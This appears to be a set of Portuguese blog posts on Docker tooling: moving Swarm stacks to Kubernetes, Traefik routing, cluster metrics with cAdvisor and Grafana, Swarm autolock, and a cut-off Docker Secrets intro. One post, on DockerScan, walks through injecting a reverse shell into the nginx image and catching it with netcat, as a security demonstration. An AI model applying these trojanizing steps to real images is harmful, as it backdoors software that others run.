Migrando do Docker Swarm para o Kubernetes

Post incialmente públicado em: https://dumpscerebrais.com/2019/01/migrando-do-docker-swarm-para-o-kubernetes

Começamos 2019 e ficou bem claro que o Docker Swarm perdeu para o Kubernetes na guerra de orquestradores de contêineres.

Não vamos discutir aqui motivos, menos ainda se um é melhor que outro. Cada um tem um cenário ótimo para ser empregado como já disse em algumas das minhas palestras sobre o assunto. Mas de uma maneira geral se considerarmos o requisito evolução e compararmos as duas plataformas então digo que se for construir e manter um cluster de contêineres é melhor já começarmos esse cluster usando Kubernetes.

O real objetivo desse artigo é mostrar uma das possíveis abordagens para que nossas aplicações hoje rodando num cluster Docker Swarm, definidas e configuradas usando o arquivo docker-compose.yml possam ser entregues também em um cluster Kubernetes.

Intro

Já é meio comum a comparação entre ambos e posso até vir a escrever algo por aqui mas no momento vamos nos ater a um detalhe simples: cada orquestrador de contêineres cria recursos próprios para garantir uma aplicação rodando. E apesar de em alguns orquestradores recursos terem o mesmo nome, como o Services do Docker Swarm e o Services do Kubernetes eles geralmente fazem coisas diferente, vem de conceitos diferentes, são responsáveis por entidades diferentes e tem objetivos diferentes.

O Kompose, uma alternativa

O kompose é uma ferramenta que ajuda muito a converter arquivos que descrevem recursos do Docker em arquivos que descrevem recursos do Kubernetes e até dá para utilizar diretamente os arquivos do Docker Compose para gerir recursos no Kubernetes. Também tenho vontade de escrever sobre ele, talvez em breve, já que neste artigo vou focar em como ter recursos do Docker Swarm e do Kubernetes juntos.

Um pouco de história

Sempre gosto de passar o contexto para as pessoas entenderem como, quando e onde foram feitas as coisas, assim podemos compreender as decisões antes de pré-julgarmos.

Na Dockercon européia de 2017, a primeira sem o fundador Solomon Hykes, foi anunciado e demostrado como usar um arquivo docker-compose.yml para rodar aplicações tanto num cluster Docker Swarm quanto num cluster Kubernetes usando a diretiva Stacks.

A demostração tanto na Dockercon quanto no vídeo acima foram sensacionais. Ver que com o mesmo comando poderíamos criar recursos tanto no Docker Swarm quanto no Kubernetes foi um marco na época. O comando na época:

docker stack deploy --compose-file=docker-compose.yml stackname

Só tinha um problema, isso funcionava apenas em instalações do Docker Enterprise Edition ($$$) ou nas novas versões do Docker for Desktop que eram disponíveis apenas para OSX e Windows.

Aí você pergunta: Como ficaram os usuário de Linux nessa história, Wsilva?

Putos, eu diria.

Protecionismo?

Assim como outros também tentei fazer uma engenharia reversa e vi que o bootstrap desse Kubernetes rodando dentro do Docker for Mac e Windows era configurado usando o Kubeadm. Fucei, criei os arquivos para subir os recursos Kubernetes necessários e quase consegui fazer rodar mas ainda me faltava descobrir como executar o binário responsável por extender a api do Kubernetes com os parâmetros certos durante a configuração de um novo cluster, todas as vezes que rodei tive problemas diferentes.

Até postei um tweet a respeito marcando a Docker Inc mas a resposta que tive foi a que esperava: a Docker não tem planos para colocar suporte ao Compose no Linux, somente Docker for Desktop e Enterprise Edition.

Ainda bem antes de tentar fazer isso na mão, lá na Dockercon de 2018 (provavelmente também escreverei sobre ela) tive a oportunidade de ver algumas palestras sobre extender a API do Kubernetes, sobre como usaram Custom Resource Definition na época para fazer a mágica de interfacear o comando docker stack antes de mandar a carga para a API do Kubernetes ou para a API do Docker Swarm e também conversei com algumas pessoas no conference a respeito.

A desculpa na época para não termos isso no Docker CE no Linux era uma questão técnica, a implementação dependeria muito de como o Kubernetes foi instalado por isso que no Docker para Desktop e no Docker Enterprise, ambientes controlados, essa bruxaria era possível, mas nas diversas distribuíções combinadas com as diversas maneiras de criar um cluster Kubernetes seria impossível prever e fazer um bootstrap comum a todos.

Docker ainda pensando no Open Source?

Na Dockercon européia de 2018, praticamente um ano depois do lançamento do Kubernetes junto com o Swarm finalmente foi liberado como fazer a API do Compose funcionar em qualquer instalação de Kubernetes. Mesmo sem as instruções de uso ainda mas já com os fontes do instalador disponíveis (https://github.com/docker/compose-on-kubernetes) era possível ver que a estrutura tinha mudado de Custom Resource Definition para uma API agregada e relativamente fácil de rodar em qualquer cluster Kubernetes como veremos a seguir.

Mão na massa.

Para rodarmos essa API do Compose no Mac e no Windows, assim como no final de 2017, basta habilitar a opção Kubernetes na configuração conforme a figura e toda a mágica vai acontecer.

No Linux podemos trabalhar com o Docker Enterprise Edition ou com o Docker Community Edition.

Para funcinar com o Docker Community Edition primeiramente precisamos de um cluster pronto rodando kubernetes e podemos fazer teoricamente em qualquer tipo de cluster. Desde clusters criados para produção com Kops – (esse testei na AWS e funcionou), ou Kubespray, ou em clusteres locais como esse que criei para fins educativos: https://github.com/wsilva/kubernetes-vagrant/ (também funcionou), ou Minikube (também funcionou, está no final do post), ou até no saudoso play with kubernetes (também funcionou) criado pelo nosso amigo argentino Marcos Nils.

Para verificar se nosso cluster já não está rodando podemos checar os endpoints disponíveis filtrando pela palavra compose:

$ kubectl api-versions | grep compose

Pré requisitos

Para instalar a api do Compose em um cluster Kubernetes precisamos do etcd operator rodando e existem maneiras de instalar com e sem suporte a SSL. Mais informações podem ser obtidas nesse repositório.

Neste exemplo vamos utilizar o gerenciador de pacotes Helm para instalar o etcd operator.

Instalação

Primeiro criamos o namespace compose em nosso Kubernetes:

$ kubectl create namespace compose

Em seguida instalmos ou atualizamos o Helm.

Se estivermos utilizando OSX, podemos instalar de maneira simples com homebrew.

$ brew install kubernetes-helm
Updating Homebrew...
Error: kubernetes-helm 2.11.0 is already installed
To upgrade to 2.12.3, run `brew upgrade kubernetes-helm`
$ brew upgrade kubernetes-helm
Updating Homebrew...
==> Upgrading 1 outdated package:
kubernetes-helm 2.11.0 -> 2.12.3
==> Upgrading kubernetes-helm
==> Downloading https://homebrew.bintray.com/bottles/kubernetes-helm-2.12.3.moja
######################################################################## 100.0%
==> Pouring kubernetes-helm-2.12.3.mojave.bottle.tar.gz
==> Caveats
Bash completion has been installed to:
/usr/local/etc/bash_completion.d

zsh completions have been installed to:
/usr/local/share/zsh/site-functions
==> Summary
?  /usr/local/Cellar/kubernetes-helm/2.12.3: 51 files, 79.5MB

No Linux podemos optar por gerenciadores de pacotes ou instalar manualmente baixando o pacote e colocando em algum diretório do PATH:

$ curl -sSL https://storage.googleapis.com/kubernetes-helm/helm-v2.12.1-linux-amd64.tar.gz -o helm-v2.12.1-linux-amd64.tar.gz

$ tar -zxvf helm-v2.12.1-linux-amd64.tar.gz
x linux-amd64/
x linux-amd64/tiller
x linux-amd64/helm
x linux-amd64/LICENSE
x linux-amd64/README.md

$ cp linux-amd64/tiller /usr/local/bin/tiller
$ cp linux-amd64/helm /usr/local/bin/helm

Estamos em 2019 então todos os clusters Kubernetes já deveriam estar rodando com RBAC (Role Base Access Control) por questões de segurança. Para isso devemos criar uma Service Account em nosso cluster para o tiller.

$ kubectl --namespace=kube-system create serviceaccount tiller
serviceaccount/tiller created

$ kubectl --namespace=kube-system \
    create clusterrolebinding tiller \
    --clusterrole=cluster-admin \
    --serviceaccount=kube-system:tiller 
clusterrolebinding.rbac.authorization.k8s.io/tiller created

Neste exemplo fizemos o bind para o role cluster admin, mas seria interessante criar uma role com permissões mais restritas definindo melhor o que o helm pode ou não fazer em nosso cluster Kubernetes.

Instalamos o etcd operator:

$ helm init --service-account tiller --upgrade
$ helm install --name etcd-operator \
    stable/etcd-operator \
    --namespace compose

Monitoramos até os pods responsáveis pelo etcd operator estarem de pé:

$ watch kubectl get pod --namespace compose

Com etcd operator de pé podemos matar o watch loop com ctrl+c.

Próximo passo vai ser subir um cluster etcd usando o operator:

$ cat > compose-etcd.yaml <<EOF
apiVersion: "etcd.database.coreos.com/v1beta2"
kind: "EtcdCluster"
metadata:
name: "compose-etcd"
namespace: "compose"
spec:
size: 3
version: "3.2.13"
EOF

$ kubectl apply -f compose-etcd.yaml

Monitoramos novamente até os pods responsáveis pelo nosso etcd cluster estarem de pé:

$ watch kubectl get pod --namespace compose

Com etcd cluster rodando podemos matar o watch loop com ctrl+c.

Em seguida baixamos diretamente do GitHub e executamos o instalador da API do Compose.

Se estivermos utilizando OSX:

$ curl -sSLO https://github.com/docker/compose-on-kubernetes/releases/download/v0.4.18/installer-darwin
chmod +x installer-darwin
./installer-darwin \
    -namespace=compose \
    -etcd-servers=http://compose-etcd-client:2379 \
    -tag=v0.4.18

No Linux:

$ curl -sSLO https://github.com/docker/compose-on-kubernetes/releases/download/v0.4.18/installer-linux
chmod +x installer-linux
./installer-linux \
    -namespace=compose \
    -etcd-servers=http://compose-etcd-client:2379 \
    -tag=v0.4.18

Vamos checar se os pods estão rodando novamente com watch loop:

watch kubectl get pod --namespace compose 

Após todos os pods rodando usamos o ctrl+c para parar o watch loop e em seguida podemos verificar se agora temos os endpoints do compose:

$ kubectl api-versions | grep compose
compose.docker.com/v1beta1
compose.docker.com/v1beta2

Sucesso. Agora vamos baixar um arquivo docker compose de exemplo do repositório da própria Docker:

curl -sSLO https://github.com/docker/compose-on-kubernetes/blob/master/samples/docker-compose.yml

Para ver o conteudo do arquivo podemos usar um editor de texto ou o simples cat docker-compose.yml no terminal mesmo.

Agora vamos usar o docker para criar os recursos no kubernetes, como se estivessemos fazendo um deployment em um cluster de Docker Swarm mesmo:

$ docker stack deploy \
    --orchestrator=kubernetes \
    --compose-file docker-compose.yml \
    minha-stack

Podemos usar tando o kubectl como o docker cli para checar os status:

$ kubectl get stacks  
NAME        SERVICES  PORTS    STATUS                        CREATED AT
demo-stack  3         web: 80  Available (Stack is started)  2019-01-28T20:47:38Z

$ docker stack ls \
    --orchestrator=kubernetes
NAME           SERVICES      ORCHESTRATOR      NAMESPACE
demo-stack     3             Kubernetes        default

Podemos pegar o ip da máquina virtual rodando minikube com o comando minikube ip e a porta do serviço web-published e acessar no nosso navegador.

No próprio repositório temos uma matriz de compatibilidade entre as funcionalidades no Docker Swarm e funcionalidades no Kubernetes: https://github.com/docker/compose-on-kubernetes/blob/master/docs/compatibility.md

Conclusão

Se você está pensando em migrar seus workloads de clusters de Docker Swarm para clusters de Kubernetes você pode optar tanto pelo Kompose quanto pelo Docker Compose no Kubernetes.

Optando pelo Compose no Kubernetes podemos usar o Docker for Mac ou Docker for Windows, basta habilitar nas configurações a opção de cluster Kubernetes.

Se estiver no Linux pode optar por seguir os passos acima ou pagar pelo Docker Enterprise Edition.

Veja como cada uma dessas opções se adequa melhor aos seus processos e divirta-se.

Até a próxima.

DockerScan: Análise e hacking para Docker

Olá gente! Tudo bem?

Continuando a série de textos sobre Segurança e Docker, hoje vou falar sobre uma das ferramentas que citei no texto Segurança e hacking de containers Docker,  vamos ver mais detalhes sobre a ferramenta DockerScan.

DockerScan é uma ferramentas de análise e hacking de containers Docker, com ela é possível fazer uma varredura buscando por vulnerabilidades de segurança e também fazer o inverso, injetar vulnerabilidades em imagens Docker, abaixo vamos ver suas principais funcionalidades e alguns exemplos de uso.

Principais Funcionalidades

  • Faz scan de uma rede tentando localizar os Docker Registries
  • Registry
    • Delete: Exclui image / tag remota
    • Info: Mostra informações  de registros remotos
    • Push: Envia uma imagem
    • Upload: Upload de arquivo
  • Image
    • Analyze
      • Busca por informações confidenciais em uma imagem
      • Busca por senhas em variáveis de ambiente
      • Busca por qualquer URL / IP em variáveis de ambiente
      • Tenta identificar o usuário usado para executar o software
    • Extract: extrair uma imagem
    • Info: Obtém meta-informação da imagem
    • Modify:
      • entrypoint: altere o ponto de entrada em um Docker
      • trojanize: injeta um reverse shell em uma imagem Docker
      • user: altere o usuário em execução em uma imagem Docker

Instalando o DockerScan

Vamos ver agora como é simples instalar a ferramenta DockerScan.

Primeiro instale o gerenciador de pacotes da linguagem Python o pip:

> python3.5 -m pip install -U pip

Agora instalamos o DockerScan

> python3.5 -m pip install dockerscan

Verifique se a instalação foi feita corretamente e exiba as opções de funcionamento:

> dockerscan -h

Exemplos de utilização

Agora vamos para a parte legal, por a mão na massa, vamos ver alguns exemplos de como o DockerScan pode ser utilizado:

Com o comando a baixo pode ser escaneada uma imagem para identificar possíveis vulnerabilidades:

$ dockerscan image info nome-da-imagem

Seguindos os passos a baixo podemos injetar vulnerabilidade em uma imagem Docker. Vamos adicionar um reverse shell neste exemplo:

//Baixe a imagem oficial do nginx
$ docker pull nginx

//Salve uma cópia da imagem
$ docker save nginx -o nginx-original

//Liste o conteúdo do diretório para ver se foi criada a cópia
$ ls -lh nginx-original

//Execute o seguinte comando para ver as informações da imagem
$ dockerscan image info nginx-original

//Execute um ifconfig para saber seu ip
$ ifconfig

//Execute para injetar um reverser shell
$ dockerscan image modify trojanize nginx-original -l 172.18.0.1 -p 2222 -o nginx-trojanized
//Com este comando será criada uma nova imagem com um reverse shell

//Execute em outro terminal para ficar "ouvindo" a porta 2222
$ nc -v -k -l 2222

//Faça o load da imagem com vulnerabilidade
$ docker load -i nginx-trojanized.tar

//Execute
$ docker run nginx:latest

Um reverse shell é um tipo de shell no qual a máquina alvo se comunica de volta à máquina atacante. A máquina atacante tem uma porta ouvinte na qual ele recebe a conexão, que ao usar, o código ou a execução do comando são alcançados.

Isso é tudo por enquanto, no repositório do projeto DockerScan pode ser encontrada mais informações sobre esta ferramenta, se você conhece outras dicas, ferramentas, ficou com alguma dúvida ou tem algo a contribuir, deixe um comentário abaixo. Obrigado pela leitura.

Traefik e Docker Swarm

Opa!

Acreditamos que um dos maiores desafios quando se trabalha com alguma tecnologia de cluster, é a forma como você vai disponibilizar o conteúdo para seu usuário/cliente, obviamente isso pode ser feito de diversas maneiras, e cada uma delas atender a uma necessidade e objetivo.

A intenção hoje é trazer à vocês uma forma simples de se disponibilizar conteúdo web (site, api, etc.) e que tem como backend o Docker Swarm, sim, hoje falaremos do Traefik, um poderoso proxy web dinâmico. Antes disso, temos que responder a seguinte dúvida: Por que diabos preciso de um proxy reverso dinâmico? Simples, por que as implementações atuais de Apache, Haproxy e Nginx foram desenvolvidas para serem estáticos, necessitando de intervenções para que as modificações sejam aplicadas. É claro que existem iniciativas que tratam isso, e são boas alternativas também, como é o caso do docker-flow-proxy e jwilder/nginx mas são presas ao que as tecnologias base oferecerem. No caso do traefik, a situação é bem diferente, ele é um proxy arquitetado e desenvolvimento para ser totalmente dinâmico e orientado a micro-serviços, além disso, ele suporta nativamente diversos tipos de backend, como é o caso do Docker Swarm, Kubernetes, Mesos, Docker apenas, Consul, dentre muitos outros.

Features

Algumas features/benefícios do Traefik, incluem:

  • Veloz.
  • Sem dependência, ele é um binário escrito em go.
  • Existe imagem oficial para Docker.
  • Fornece uma API Rest.
  • Reconfiguração sem a necessidade de reiniciar o processo.
  • Metricas (Rest, Prometheus, Datadog, Statd).
  • Web UI em AngularJS.
  • Suporte a Let’s Encrypt (Com renovação automática).
  • Alta disponibilidade em modo cluster (beta).

O Traefik foi desenvolvido para atender a demanda de requisições web, então ele pode ser utilizado para fazer o roteamento das conexões de um site ou api para o container ou serviço que foi criada para isso. A imagem abaixo é clássica, e explica bem esse comportamento:

Fonte: https://docs.traefik.io

Como pode ser visto, o traefik fica “ouvindo” as ações que ocorrem no orquestrador (independente de qual for) e baseado nessa ações se reconfigura para garantir o acesso ao serviço/container criado. Dessa forma basta você apontar as requisições web (seja http ou https) para o servidor onde o traefik está trabalhando.

Mãos a massa?

Em nosso lab, vamos montar esse ambiente utilizando o Docker Swarm como nosso orquestrador, para isso, tenha pelo menos três hosts, inicialize o Swarm em um deles, e em seguida adicione os demais ao cluster.

Feito isso, precisamos criar um rede do tipo overlay, que será utilizada pelo traefik para enviar o trafego web:

docker network create -d overlay net

Depois de inicializada a rede overlay, basta criar o serviço do traefik:

docker service create --name traefik --constraint 'node.role==manager' --publish 80:80 --publish 8080:8080 --mount type=bind,source=/var/run/docker.sock,target=/var/run/docker.sock --network net traefik:camembert --docker --docker.swarmmode --docker.domain=mundodocker --docker.watch --logLevel=DEBUG --web

Com este comando, será criado um serviço mapeando o socket do Docker para que o traefik possa monitorar o que acontece neste cluster, além disso são expostas as porta 80 (para acesso dos sites/apis) e 8080 (página administrativa do traefik), caso preciso da 443, basta adicionar a lista.

Ok, até agora o que fizemos foi criar o serviço do traefik no cluster para que monitore e se reconfigure baseado nos eventos do cluster. Agora precisamos criar nossos serviços web e ver se tudo funcionará como deveria. Vamos lá:

Blog:

Vamos criar agora uma nova aplicação web, que será responsável por um blog, o processo de criação é bem simples:

docker service create --name traefik --label 'traefik.port=80' --label traefik.frontend.rule="Host:blog.mundodocker.com.br;" --network net ghost

Criamos um serviço com nome de blog, utilizando uma imagem do WordPress e adicionamos na rede “net”, essa mesma rede onde o traefik está, agora vamos detalhar os novos parâmetros:

  • traefik.port = Porta onde a aplicação vai trabalhar, nos caso do wordpress, será na porta 80 mesmo.
  • traefik.frontend.rule = Qual será o virtual host que este serviço atende, com isso o traefik consegue definir que, quando chegar uma requisição para: blog.mundodocker.com.br, encaminhará as requisições para o serviço correto.

Agora basta apontar no DNS a entrada blog.mundodocker.com.br para o servidor do traefik e a mágica estará feita.

Site:

Para ver como é difícil, tudo que você precisa fazer é executar este comando:

docker service create --name site --label 'traefik.port=80' --label traefik.frontend.rule="Host:www.mundodocker.com.br;" --network net tutum/apache-php

Dessa vez criamos um novo serviço, na mesma rede, mas com alguns parâmetros diferentes, como é o caso do traefik.frontend.rule, onde especificamos um novo endereço, e claro a imagem que vamos utilizar, que agora é a tutum/apache-php.

URLs:

Outra feature muito legal do traefik é a possibilidade de redirecionar URLs para backends diferentes. O que isso quer dizer? Quer dizer que podemos enviar partes de uma aplicação para serviços diversos, por exemplo, na aplicação existe um /compras e um /categoria, podemos enviar essas URLs para serviços distintos, isso apenas informando o traefik, veja:

docker service create --name categoria --label 'traefik.port=3000' --label traefik.frontend.rule="Host:www.mundodocker.com.br; Path: /categoria/" --network net node

Note que agora temos um novo parâmetro, o “Path” onde especificamos qual URL este serviço vai atender, o resto é semelhante, informamos a porta e imagem que este serviço vai utilizar. Para criar um serviço especifico para outra URL, basta:

docker service create --name compras --label 'traefik.port=3000' --label traefik.frontend.rule="Host:www.mundodocker.com.br; Path: /compras/" --network -net node

E pronto, sua aplicação estará “quebrada” entre vários serviços, e o mais legal é que você não precisou editar um arquivo de configuração se quer. Além dessas facilidades, o traefik ainda disponibiliza uma interface para visualizar como está a saúde das url, em nosso lab você acessará pela porta 8080, e você visualizará algo assim:

Neste dashboard você poderá visualizar como estão configuradas as suas entradas no proxy. Na aba health você poderá visualizar como está o tempo de resposta das url e saber se está tudo certo com o trafego, veja:

Bonito né? E além de tudo, extremamente funcional 🙂 , em posts futuros veremos um pouco mais sobre como funciona a API do traefik, como configurar o let’s encrypt, e alguns outros pontos, por enquanto, como post introdutório, era isso que gostaria de trazer a vocês.

Esperemos que tenham gostado, qualquer dúvida/sugestão nos avise 😉

Grande abraço, até mais!

Coleta de métricas no Docker Swarm

Oi Pessoal!

Queremos trazer para vocês hoje uma solução para coleta e visualização de métricas para o Docker Swarm. Um dos maiores desafios, principalmente para as equipes de operações, é saber quanto está sendo utilizado por cada container, OK, existem soluções na engine do Docker, como é o caso do docker stats, mas e quando você tem um diversos hosts, e eles estão em cluster e não tem definido quais containers estão em cada host, complicou né?

A intenção com este post é mostrar como é possível ter, de forma fácil, todas as informações de consumo de seu cluster, utilizando soluções simples, e que a maioria de vocês já deve ter visto. Para este lab vamos usar o Cadvisor, Influxdb e Grafana, vamos entender melhor onde cada um irá atuar neste ambiente.

Cadvisor

Como já vimos aqui no blog, o Cadvisor é uma ferramenta desenvolvida justamente para realizar a coleta de recursos de containers/aplicações dentro de um servidor. É possível estender seu uso através de integração com a API que essa ferramenta disponibiliza, e enviar os dados coletados para diversos backends, em nosso lab vamos utilizar o InfluxDB, que você verá logo abaixo o que é e como funciona.

 

InfluxDB

Para quem não conhece, o InfluxDB faz parte de um conjunto de soluções da empresa InfluxData, que tem seus produtos voltadas para analise, monitoramento e armazenamento de informações cronológicas. O InfluxDB é conhecido como um data series database, que serve justamente para armazenar dados em ordem cronológica.

 

Grafana

O Grafana talvez seja uma das mais completas ferramentas para criação e exibição de gráficos, e uma ferramenta extremamente flexível e adaptável, tendo como input diversos tipos de backend, o que facilita ainda mais o nosso lab 😉 . Você pode inclusive ter mais datasources e montar o seu dashboard unindo todas as essas informações, bacana né?

 

Ok, teoria é muito bonita, mas… vamos praticar?

Primeiramente você deve ter em execução o seu cluster, caso não tenha feito isso ainda, faça agora, caso tenha dúvidas, veja este post, onde mostramos na prática como fazer isso 🙂 . Certo agora vamos criar os serviços de coleta para o nosso cluster, para isso, você pode executar o seguinte passo-a-passo:

  •  Crie uma rede do tipo overlay para que seja possível a comunicação entra as ferramentas, e que essa comunicação seja realizada de forma isolada:
$ docker network create -d overlay --attachable coleta
  • Em um dos dos hosts (de preferência o menos utilizado), crie o servidor de Influx, que será utilizado como backend para as informações coletadas:
$ docker run -d --restart=always -v /data:/var/lib/influxdb --network coleta --name influx influxdb
  • Devemos criar a database dentro do influx para que seja possível salvar as informações:
$ docker exec -it influx influx -execute 'CREATE DATABASE cadvisor'
  • Ok, agora basta criar o serviço de coleta no cluster:
$ docker service create --name agentes --network coleta --mode global --mount type=bind,source=/,destination=/rootfs,readonly=true --mount type=bind,source=/var/run,destination=/var/run  --mount type=bind,source=/sys,destination=/sys,readonly=true  --mount type=bind,source=/var/lib/docker,destination=/var/lib/docker,readonly=true google/cadvisor -logtostderr -docker_only -storage_driver=influxdb -storage_driver_db=cadvisor -storage_driver_host=influx:8086

Se tudo correu bem, você deve terá criado um serviço do tipo global, ou seja, cada host de seu cluster terá um container desse tipo (Cadvisor), e todos eles enviarão os dados para o banco influx. Para ter certeza de que tudo correu bem, você pode executar o comando:

$ docker service ls

Dessa forma você visualizará os serviços que estão em execução, e terá ter certeza de que os containers iniciaram em todos os nós, o retorno do comando deverá ser algo parecido com isso:

$ docker service ls
ID           NAME    MODE   REPLICAS IMAGE                  PORTS
5ras37n3iyu2 agentes global 2/2      google/cadvisor:latest

Viu, tudo certo 🙂 Mas ainda não acabou, continuando:

  • A última etapa é subir nosso serviço de Grafana para podermos visualizar as informações que foram coletadas pelo Cadvisor, e armazenadas no InfluxDB, execute:
$ docker run -d --restart=always -v /data:/var/lib/grafana --network coleta --name grafana -p 80:3000 grafana/grafana

Simples né? Agora temos que acessar a interface do Grafana para podemos configurar e termos os gráficos que desejamos, acesse: http://ip-do-host/login, você visualizará a interface de acesso dele, como ilustrado abaixo:

Os dados de acesso default do Grafana são:

User: admin
Password: admin

Estando dentro da interface do Grafana, vá até “Source” e adicione uma nova fonte de dados, nela informe “InfluxDB”, conforme imagem abaixo:

Após clique em “save & test” para validar o acesso ao seu InfluxDB. Se tudo ocorrer conforme o planejado, você terá sucesso nessa adição, e em seguida deverá montar o gráfico baseado nas informações que estão no banco, para isso existem duas formas, uma mais complexa onde você precisará montar as querys e depois criar o gráfico com essas querys, ou importar um template pronto para isso, e neste caso eu agradeço ao Hanzel Jesheen, pela contribuição a comunidade, em ter criado o template e disponibilizado em seu github 🙂 . Você pode baixar este arquivo, salvar em seu computador e depois ir até a área de Dashboard de seu Grafana e clicar em import, informe o caminho de onde salvou o template, escolha o source criado anteriormente e depois clique em “import”, conforme imagem abaixo:

Parabéns! Você acaba de montar seu sistema de coleta e visualização de recursos para todo o seu cluster! Indo até Dashboards – Cadvisor você terá uma visualização parecida com esta:

Bacana não?

A partir desse protótipo você pode evoluir seu ambiente para atender a sua demanda, em nosso lab a coleta é realizada pelo Cadvisor e enviada ao InfluxDB a cada 60 segundos, isso quer dizer que o gráfico tem um delay de 1 minuto entre a coleta e a visualização, para alguns isso é problema, para outros não. Outro ponto que você deve se atentar é: Quantos mais containers você tiver, mais poluído ficará o seu gráfico, isso por motivos óbvios, então talvez você precisa alterar o layout do dashboard. Ahhh não esqueça de trocar a senha do usuário admin do Grafana 😉

Por hoje era isso gente, esperamos que isso ajude vocês, e continuaremos com alguns posts mais técnicos trazendo alguns soluções ou implementações legais utilizando Docker. Nos ajude divulgando o blog, e tendo dúvida nos avise!

Grande abraço!

Segurança do Docker Swarm

Olá gente!

Com a grande ajuda do wsilva, estamos trazendo um post que levanta um ponto bem interessante do ambiente de Docker Swarm : Como deixar meu cluster mais seguro?

Existem diferentes forma de se fazer isso, algumas nativas, e outras envolvendo ferramentas de terceiros, nesse post replicaremos o post do Dumps Cerebrais, que aborda uma das formas nativas de se garantir maior segurança no cluster de Swarm. Vamos lá!

O Auto Locking

é uma das grandes funcionalidades adicionadas na versão 1.13.0 do Docker e presente nas novas versões 1.13.1, 17.03.0-ce, 17.03.1-ce e 17.04.0-ce (versões disponíveis até a data de publicação desse artigo).

Você deve estar se perguntando: “Versões 1.12, 1.13 e agora 17.03.x-ce? Que zona é essa?” Na verdade não é zona, é reorganização, na versão 1.13 uma das novidades foi a reorganização dos comandos no CLI, agora a Docker está reorganizando os release e versões. Ela lançou um novo ciclo de releases, renomeou as versões baseando-se em datas (ano e mês) e separou a parte open source, Docker CE (community edition) da parte proprietária com licensa e com planos de suporte da própria Docker, o EE (enterprise edition). Resumindo reorganização. Mas essa é uma história que podemos detalhar em outro artigo, nosso foco aqui será mostrar o que é e como funciona o Auto Locking

A motivação por trás do Auto Locking

Tanto a comunicação entre os nós do Swarm quanto os logs do Raft consensus são por padrão encriptados por chaves TLS que ficam nos discos das máquinas managers. Tá, mas o que isso quer dizer?

Vamos imaginar que uma máquina manager reinicia, tanto a chave TLS usada para a encriptação da comunicação entre os nós, quanto a chave TLS usada para encriptar os logs do Raft são carregados na sua memória. Isso por um lado é bom pois permite que um nó seja reiniciado sem intervenção humana e sistema continua funcionando normalmente. Por outro lado se alguém conseguir essas chaves seja por um backup que vaze ou disco corrompido essa pessoa vai conseguir acesso aos logs do Raft e também às informações sensíveis como onde estão rodando os serviços, às configurações de acesso dos serviços e inclusive aos secrets dessas aplicações rodando nesse cluster.

Como funciona o Auto Locking.

O auto locking é uma camada de proteção a mais e é super simples. Quando você iniciar ou atualizar um cluster Swarm passando a flag --autolock uma chave é gerada para encriptar as demais chaves, porém essa nova chave é responsabilidade nossa e deve ser mantida por nós, devs e operadores. Seja via password manager, seja guardando de cabeça (o que duvido), seja anotando em papel de pão.

Com o auto lock ativo se por um acaso a máquina reiniciar ninguém conseguirá rodar comandos nela sem antes desbloqueá-la e para desbloquear aquela chave de nossa responsabilidade será solicitada.

Podemos iniciar um cluster já utilizando a funcionalidade de auto lock:

$ docker swarm init --autolock
Swarm initialized: current node (drr4hrzngqoh90cpp0t5lnuv1) is now a manager.

To add a worker to this swarm, run the following command:

    docker swarm join \
    --token SWMTKN-1-1infi7fei781xasqoh1q1k5i7p47ocvyptaoq1r6dmmp1bwz0p-e37ividr81a45qzhq9ptkb836 \
    192.168.65.2:2377

To add a manager to this swarm, run 'docker swarm join-token manager' and follow the instructions.

To unlock a swarm manager after it restarts, run the `docker swarm unlock`
command and provide the following key:

    SWMKEY-1-nly8Gmulj+xuPwFF4ks4evN6OxdUtVFdD1QlIhdVvto

Please remember to store this key in a password manager, since without it you
will not be able to restart the manager.

Ou adicionar a um cluster já em produção:

$ docker swarm update --autolock
Swarm updated.
To unlock a swarm manager after it restarts, run the `docker swarm unlock`
command and provide the following key:

    SWMKEY-1-av+McYBAyjy6o1RMYsDqUsS8lkjH05t5HMnP7USjk+4

Please remember to store this key in a password manager, since without it you
will not be able to restart the manager.

Podemos perceber o token gerado nos dois casos, ambos começam com SWMKEY, essa é a chave que devemos guardar, ela não é persistida no cluster.

Se a máquina manager não estiver travada você consegue recuperar essa chave com seguinte comando:

$ docker swarm unlock-key
To unlock a swarm manager after it restarts, run the `docker swarm unlock`
command and provide the following key:

    SWMKEY-1-av+McYBAyjy6o1RMYsDqUsS8lkjH05t5HMnP7USjk+4

Please remember to store this key in a password manager, since without it you
will not be able to restart the manager.

Se a máquina estiver travada qualquer comando administrativo não será executado e vai retornar a seguinte mensagem:

$ docker node ls
Error response from daemon: Swarm is encrypted and needs to be unlocked before it can be used. Please use "docker swarm unlock" to unlock it.

Para mudarmos a key que destrava o Swarm usamos o seguinte comando:

$ docker swarm unlock-key --rotate
Successfully rotated manager unlock key.

To unlock a swarm manager after it restarts, run the `docker swarm unlock`
command and provide the following key:

    SWMKEY-1-ECkuyhW8Zgc9nZthmkMpZd5f+mxPuOEC5K6CyA89xNk

Please remember to store this key in a password manager, since without it you
will not be able to restart the manager.

Para ficar mais claro, o wsilva ainda gravou um vídeo, esse mesmo foi utilizado no meetup de docker em SP (grupo do qual ele ajuda a organizar), confere:

Bem bacana né? Então não deixe de utilizar, como visto é bem simples a sua configuração, se quiser ter certeza antes de sair colocando em produção, usa o Play-With-Docker para montar seu lab e testar, é uma ferramenta free e bem simples de se usar, através dela você pode subir todo seu ambiente, validar e depois disso colocar a mão na massa em seu ambiente, há obviamente uma limitação, que é o tempo de uso, mas garanto que facilita horrores 🙂 .

Então era isso, nos ajude divulgando o blog, e deixe suas dúvidas, elogios ou críticas nos comentários 😉 .

Grande abraço!

Docker Swarm na Prática

Oi Pessoal!

Fizemos um vídeo mostrando na prática como é possível criar um cluster de Swarm e gerenciar seus serviços com ele, veja também como você pode portar sua stack do Docker Compose para dentro do cluster via o Docker Stack. Veja:

Este é apenas um vídeo de lab, lembramos que você deve se ater a alguns outros pontos nesse ambiente antes de colocar em produção, OK? 😉

Contamos com a ajuda de vocês para divulgação do blog, grande abraço!

Docker Secrets

Oi pessoal! 

Para o artigo de hoje, contamos com a ajuda de um grande amigo nosso, o Wellington F. Silva, que colocou em seu blog um texto muito bacana sobre o que é e como funcionam as secrets no Docker 1.13. No decorrer desse post entenderemos como essa nova funcionalidade trabalha, sua origem e claro, o impacto disso em nosso dia-a-dia, #vamoslá?

 

O que é o secret?

